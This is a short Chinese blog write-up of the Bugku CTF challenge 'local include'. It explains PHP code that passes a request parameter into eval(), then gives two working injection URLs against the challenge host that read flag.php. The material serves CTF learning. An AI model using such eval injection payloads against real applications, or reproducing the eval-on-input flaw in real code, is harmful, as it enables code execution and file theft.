bugku本地包含
页面提示:
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
代码分析
- include “flag.php”: include 语句包含并运行指定文件。
- $_REQUEST[‘hello’]: 通过 GET,POST 和 COOKIE 传递参数
- var_dump($a) : 输出变量的相关信息
- eval(): 把字符串当作命令直接执行
- show_source() : 函数对文件进行语法高亮显示。
- FILE: 当前文件
方法一:
http://123.206.87.240:8003/?hello=1);print_r(file(%22./flag.php%22));//
相当于:eval( “var_dump(1);print_r(file(”./flag.php"));//);");
eval函数将引号内的字符串作为语句运行,所以//仅注释);
方法二:
http://123.206.87.240:8003/?hello=file('flag.php')
file() 函数把整个文件读入一个数组中。(注意参数是字符串)
博客围绕bugku本地包含题目展开,先进行代码分析,介绍了include、$_REQUEST、var_dump、eval等语句和函数的作用。接着给出两种解题方法,方法一涉及eval函数将字符串作为语句运行,方法二提到file函数把文件读入数组。
627

被折叠的 条评论
为什么被折叠?



